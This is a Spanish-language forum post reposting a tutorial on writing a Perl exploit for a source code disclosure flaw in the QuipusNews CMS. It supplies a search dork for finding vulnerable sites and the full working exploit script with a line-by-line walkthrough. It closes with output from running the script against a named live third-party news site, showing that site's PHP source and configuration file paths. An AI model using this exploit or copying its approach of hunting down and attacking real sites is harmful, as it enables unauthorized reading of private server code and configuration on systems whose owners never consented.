Codeando un exploit I: Source Code Disclosure

CitarBueno para empezar ami mucho me interesó a interpretar y codear un Exploit , pués me encontré con varios post
y entre ellos me ví con esto que me interesó mucho y me ayudó. a parte de eso para tener un poco mas de entendimiento tienen que saber lenguajes básicos como Html, PHP y perl , el tema es escrito por The X-C3LL .

[/i]
=======================================================================================




La verdad es que es muy común ver mensajes en esta sección de "cómo codeo un exploit" al cual siempre contestamos de la misma forma "aprende a programar". Así que me he propuesto explicar de forma muy básica el cómo codearnos un exploits sencillos en perl. Como ahora mismo estoy en la previa a los exámenes, no tengo mucho tiempo, así que vamos a empezar con una vulnerabilidad sencilla como puede ser un Source Code Disclosure (SCD). Si no tienes ni idea de lo que és, hecha un ojo aquí ( No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ).


  Para trabajar, vamos a usar una vulnerabilidad pública ya que descubrió Seth en un CMS llamado QuipusNews. En el link que os dejé viene una referencia a dicha vulnerabilidad y el exploit que codeó para explotarla. La verdad es que a día de hoy miras el exploit y te das cuenta de que se podría simplificar mucho.... y es lo que vamos a hacer, crear un exploit paralelo a ese pero más ordenado y simplificado.


  Así que lo primero que vamos a hacer va a ser localizar una web vulnerable para ver cómo funciona la vulnerabilidad (nos remitiremos al dork "Actualizado usando QuipusNews"). Cuando hayamos localizado un objetivo que use este CMS, procedemos a tratar de incluir un fichero (P.E.: index.php) y, cuando lo cargue, mirad el código fuente. Si todo ha ido bien, veremos el source de index.php

Bien de esta sencilla práctica podemos deducir cómo va a funciona nuestro exploit. Primero setearemos las variables, que a simple vista podemos ver que van a ser una para determinar el host vulnerable, otra para el directorio donde se sitúa el script vulnerable y una última para indicar qué archivo deseamos de ver.

  La segunda parte sería la de establecer la conexión con el host y leer el archivo que deseamos. En el exploit que codió Seth (y que le ayudé ) usaba sockets para esto. La verdad es que existe una forma más simplificada y es usando librerías especializadas que ya hagan este trabajo. Nosotros vamos a usar dos en concreto, LWP y HTTP. Aquí dejo el código y vamos a ir viéndolo parte por parte:

(exploit.pl)
#!/usr/bin/perl


use LWP;
use HTTP::Request::Common;


my $host = $ARGV[0];
my $path = $ARGV[1];
my $file = $ARGV[2];
my $url = 'http://'.$host.$path.'index.php?tpl='.$file;

my $nav = LWP::UserAgent->new;
my $res = $nav->get( $url ) || die 'ERROR:',  $res->status_line;

print $res->content;

exit;

Las primeras líneas:

use LWP;
use HTTP::Request::Common;

Estas líneas son la declaración de qué modulos deben de incluirse para el funcionamiento del programa. En las siguientes,

my $host = $ARGV[0];
my $path = $ARGV[1];
my $file = $ARGV[2];

seteamos las variables que vamos a emplear, que son las que comenté anteriormente. Posteriormente concatenamos todo para tener la URL donde deberemos de ingresar:

my $url = 'http://'.$host.$path.'index.php?tpl='.$file;

Posteriormente pasamos a crear una simulación de un navegador:

my $nav = LWP::UserAgent->new;

Y procedemos a realizar una petición GET a la url que montemos concatenando los parámetros:

my $res = $nav->get( $url ) || die 'ERROR:',  $res->status_line;

El la parte del die se emplea por si no ha habido suerte y ha ocurrido algún problema. Dicho problema se muestra a través de status_line (P.E.: 404 Not Found). Para finalizar mostramos el contenido en pantalla del código fuente:

print $res->content;
exit;

No le he añadido detalles básicos al exploit, como puede ser algo de texto, la información sobre el bug y cómo lo explota, una subrutina &usage para mostra el uso en caso de syntax error, unos condicionales que verifiquen la sintaxis de los parámetros, etc... esto ya lo veremos otro día. Lo de hoy ha sido sínplemente una toma de contacto para que veais que los exploits no son programas místicos creados por el demonio inentendibles. Un exploit no es más que un programa.


Byt3z

PD: Se me olvidaba mostrar el output:

[root@The-XC3LL Escritorio]# perl exploit.pl www.cubadebate .cu / index.php
<?php
//+-----------------------------------------------------+
//|     Chasqui(r)                                      |
//|     http://www.chasqui.cu/                          |
//|     [email protected]                              |
//+-----------------------------------------------------+
//|     Chasqui(r) Contents Management Division         |
//|     http://www.chasqui.cu/gestcont/                 |
//|     [email protected]                             |
//+-----------------------------------------------------+
//|     (c) Copyright 1999-2003 Chasqui(r)              |
//+-----------------------------------------------------+

//
// $Id$
//

@unlink("logs/error.log");
//include "clear_cache.ph p";

require_once "tms/template.lib.php";
require_once "tools/files.lib.php";
require_once "app/application.lib.php";

//  Estas constantes son necesarias para inicializar la aplicaci
define('CONFIGURATION_ FILE', './Configuration/application.xml');
define('COMPILED_CONF_ FILE', './Compiled/application.cfg');

define('OBJECTSDEF_FIL E', './Configuration/objects.xml');
define('OBJECTDEF_CFG_ FILE', './Compiled/objects.cfg');
define('OBJECTDEFS_CFG _DIR', '.');